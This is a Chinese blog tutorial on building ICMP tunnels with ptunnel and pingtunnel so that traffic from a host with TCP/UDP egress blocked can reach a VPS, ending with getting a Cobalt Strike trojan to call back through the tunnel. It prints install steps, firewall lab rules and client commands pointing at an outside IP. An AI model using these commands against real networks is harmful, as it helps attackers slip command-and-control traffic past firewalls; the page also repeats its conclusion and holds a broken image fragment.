ICMP隧道搭建

文章介绍了在渗透测试中,当TCP、UDP通道受阻时,如何利用ICMP协议建立隧道,通过ptunnel工具将内网流量转发至外网。详细阐述了设置ICMP隧道的过程,包括ptunnel的安装、配置和使用,以及如何通过ssh动态转发建立socks代理。此外,还提及了pingtunnel作为另一种建立ICMP隧道的工具,并展示了如何在CS(C2服务端)中使用此方法进行上线。最后,文章提到了后续将探讨通过DNS搭建隧道的方法。
摘要由CSDN通过智能技术生成

前言

在渗透测试工作中,经常会碰到web入口机或内网主机无论使用TCP、UDP都无法使其上线c2服务端,且web入口主机被层层waf保护,reg、abtts、tunna等HTTP代理都无法使用的情况。如果目标主机可以ping通外网,不拦截icmp数据包,那此时可选择使用icmp协议隧道把目标内网流量转发出来,这里把学习搭建icmp隧道的过程记录一下。

ICMP隧道

ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在icmp协议下就不需要。最常见的ping命令就是利用icmp协议,在一些网络环境中,如果攻击者使用各类上层隧道进行的操作都失败了,常常会通过ping命令访问远程计算机,
这是因为icmp隧道将TCP/UDP数据封装到ICMP的ping数据中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问。

使用场景

在渗透测试工作中,经常会碰到web入口机或内网主机无论使用TCP、UDP都无法使其上线c2服务端,而且web入口主机被层层waf保护,reg、abtts、tunna等HTTP代理都无法使用的情况。如果目标主机可以ping通外网,不拦截icmp数据包,那此时可选择使用icmp协议隧道把目标内网流量转发出来,防火墙一般也不会屏蔽ping的数据包。

靶场配置

  • kali靶机:模拟不出网主机,只有icmp协议才可访问互联网
  • vps: 用作ptunnel服务端,响应ping请求

ptunnel安装:

#安装libpcap的依赖环境apt-get install byaccapt-get install flex bison#安装libpcap依赖库wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gztar -xzvf libpcap-1.9.0.tar.gzcd libpcap-1.9.0./configuremake && make install#安装PingTunnelwget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzvf PingTunnel-0.72.tar.gzcd PingTunnelmake && make install

安装完libpcap依赖,运行ptunnel提示找不到libpcap:

  • 执行 locate libpcap.so.1,查看libpcap.so.1在系统中的路径
  • 随后以管理员权限打开编辑 /etc/ld.so.conf文件, 末尾追加libpcap的路径
  • 以管理员权限执行 ldconfig命令加载配置

针对内网机安装libpcap依赖容易出现问题,可copy libpcap.so文件至内网机,修改/etc/ld.so.conf文件加载配置。

这里配置防火墙,模拟ICMP出网的场景:

# 允许icmp协议访问42/8段iptables -A INPUT -s 42.0.0.0/8 -p icmp  -j ACCEPT# 禁止TCP协议访问119/8段iptables -A INPUT -s 42.0.0.0/8 -p tcp  -j DROP# 清除预设表filter中的所有规则链的规则iptables -F# 清除预设表filter中使用者自定链中的规则 iptables -X# 查看iptables的配置信息iptables -L -n

icmp可出网,tcp不出网:

利用过程

vps运行ptunnel,作为ptunnel的服务端。

内网机执行ptunnel,作为ptunnel的客户端。

-p 指定跳板机的IP-lp 指定转发本地监听的端口 -da 指定最终要访问的目标主机 -dp 指定最终要访问目标主机的端口

将内网机的2222端口通过ptunnel,重定向至vps的22号端口:

随后内网机的2222号端口就是vps上的22号端口:

通过ssh建立socks代理访问互联网。

在内网机上利用ssh的动态转发功能,ssh监听9000端口开启socks代理,并把流量重定向至vps:

随后内网机配置socks代理,就能访问互联网资源。内网机流量通过vps访问互联网:

浏览器使用插件配置socks5代理:

ptunnel缺点:

  • libpcap依赖安装较为麻烦
  • 目标主机程序需要通过socks代理才能出网

利用pingtunnel建立icmp隧道

服务端参数./pingtunnel -type server客户端参数#本地监听1081端口开启socks代理,并把流量重定向到vps,此时内网机器的流量通过vps出去./pingtunnel -type client -l :1081 -s vps服务端地址 -sock5 1#转发tcp#本地监听1081端口,并把该端口通过服务端重定向至vps的80端口./pingtunnel -type client -l :1081 -s vps服务端地址 -t vps:80 -tcp 1#转发udp./pingtunnel -type client -l :1081 -s www.yourserver.com -t www.yourserver.com:1081

vps运行pingtunnel,作为icmp的做服务端:

内网主机开启socks代理,并把流量转发到vps,此时socks的流量通过vps出去。

配置代理即可:

CS上线

CS建立监听127.0.0.1:6666和vps:7777:

使用listener 2的监听生成木马:

vps服务端执行操作./pingtunnel -type server在靶机执行操作:pingtunnel.exe -type client -l 127.0.0.1:6666 -s 42.192.170.47 -t 42.192.170.47:7777 -tcp 1

运行木马,CS监听上线:

总结

通过本次对icmp隧道穿透的讲解,我们掌握了如何在目标服务器不出网的情况下上线c2服务端的方法,后续我们将继续学习通过dns来搭建隧道的方法。

img-friLecvj-1690608373978)]

总结

通过本次对icmp隧道穿透的讲解,我们掌握了如何在目标服务器不出网的情况下上线c2服务端的方法,后续我们将继续学习通过dns来搭建隧道的方法。

网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

img

第二阶段:Web渗透(初级网安工程师)

img

第三阶段:进阶部分(中级网络安全工程师)

img

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资源分享

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vu5ng3Ax-1690608373983)(C:\Users\Administrator\Desktop\网络安全资料图\微信截图_20230201105953.png)]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值